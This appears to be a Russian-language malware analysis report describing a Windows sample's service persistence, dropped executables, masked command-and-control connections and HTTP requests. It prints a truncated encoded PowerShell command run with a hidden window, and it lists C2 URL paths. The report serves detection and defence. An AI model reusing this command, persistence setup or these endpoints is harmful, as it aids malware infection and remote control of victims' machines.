Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\imapi2fs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\imapi2fs] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDRO\imapi2fs.exe"'
Создает следующие сервисы
- 'imapi2fs' "%WINDIR%\SysWOW64\KBDRO\imapi2fs.exe"
- 'imapi2fs' %WINDIR%\SysWOW64\KBDRO\imapi2fs.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAFEAQQBJAFcAcwB2AHUAPQAnAEUAVwBGAEYARABtAGQAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAWQBQAGAAUgBgAG8AVABvAGAAYwBvAGwAIgAgAD...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\701.exe
Перемещает следующие файлы
- %HOMEPATH%\701.exe в %WINDIR%\syswow64\kbdro\imapi2fs.exe
Сетевая активность
Подключается к
- '20#.#35.10.215':80
- '19#.#7.203.63':8080
- '16#.#72.107.70':8080
- '17#.#05.78.244':8080
- '10#.#61.30.122':8080
- '20#.#53.216.182':7080
- '37.##.129.215':8080
- '20#.#14.108.231':80
TCP
Запросы HTTP GET
- http://ja##ino.us/tv/DYsPb/
Запросы HTTP POST
- http://19#.##.203.63:8080/BOE2a9mEL/mfQ45IdiQeuYj3lsDs/ via 19#.#7.203.63
- http://16#.##2.107.70:8080/u4DIFeC/HqafaEhIZq5R8RCLYN/ via 16#.#72.107.70
- http://20#.###.216.182:7080/1BJgEgKIs0/rER7DnhBOXwtwQiCAkQ/8GqQ6jDRaOQcbrpiR/ via 20#.#53.216.182
UDP
- DNS ASK ja##ino.us
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\701.exe'
- '%WINDIR%\syswow64\kbdro\imapi2fs.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAFEAQQBJAFcAcwB2AHUAPQAnAEUAVwBGAEYARABtAGQAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAWQBQAGAAUgBgAG8AVABvAGAAYwBvAGwAIgAgAD...' (со скрытым окном)
